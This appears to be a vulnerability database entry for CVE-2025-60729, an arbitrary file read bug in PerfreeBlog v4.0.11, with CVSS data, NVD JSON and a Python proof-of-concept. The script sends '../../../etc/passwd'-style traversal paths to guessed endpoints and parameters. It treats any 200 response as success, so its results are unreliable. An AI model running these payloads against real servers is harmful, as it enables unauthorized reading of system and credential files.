Security Vulnerability Report
中文
CVE-2025-60729 CVSS 5.3 MEDIUM

CVE-2025-60729

Published: 2025-10-24 18:15:41
Last Modified: 2025-10-27 17:53:40

Description

PerfreeBlog v4.0.11 has an arbitrary file read vulnerability in the validThemeFilePath function

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:* - VULNERABLE
PerfreeBlog < 4.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-60729 PoC - PerfreeBlog Arbitrary File Read # Target: PerfreeBlog v4.0.11 # Vulnerability: Arbitrary file read in validThemeFilePath function def exploit(target_url, file_path): """ Exploit arbitrary file read vulnerability Args: target_url: Base URL of PerfreeBlog instance file_path: Path of file to read (e.g., ../../../etc/passwd) Returns: File contents if successful, None otherwise """ # Common vulnerable endpoints endpoints = [ '/theme', '/admin/theme', '/api/theme', '/static/theme' ] for endpoint in endpoints: try: # Try common parameter names params_list = [ {'file': file_path}, {'path': file_path}, {'themeFile': file_path}, {'filename': file_path} ] for params in params_list: url = target_url.rstrip('/') + endpoint response = requests.get(url, params=params, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File read from: {file_path}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Parameter: {list(params.keys())[0]}") print("-" * 50) print(response.text) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") continue print("[-] Exploitation failed - target may not be vulnerable") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-60729.py <target_url> <file_path>") print("Example: python cve-2025-60729.py http://target.com ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60729", "sourceIdentifier": "[email protected]", "published": "2025-10-24T18:15:40.797", "lastModified": "2025-10-27T17:53:39.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PerfreeBlog v4.0.11 has an arbitrary file read vulnerability in the validThemeFilePath function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:*", "matchCriteriaId": "56788914-09FF-444D-B30C-0613B758089B"}]}]}], "references": [{"url": "http://perfreeblog.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/dengxmenglihua/cve/blob/main/PerfreeBlog/File%20Read/Arbitrary%20File%20Read%20Vulnerability%20in%20PerfreeBlog%20System.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://perfree.org.cn/", "source": "[email protected]", "tags": ["Product"]}]}}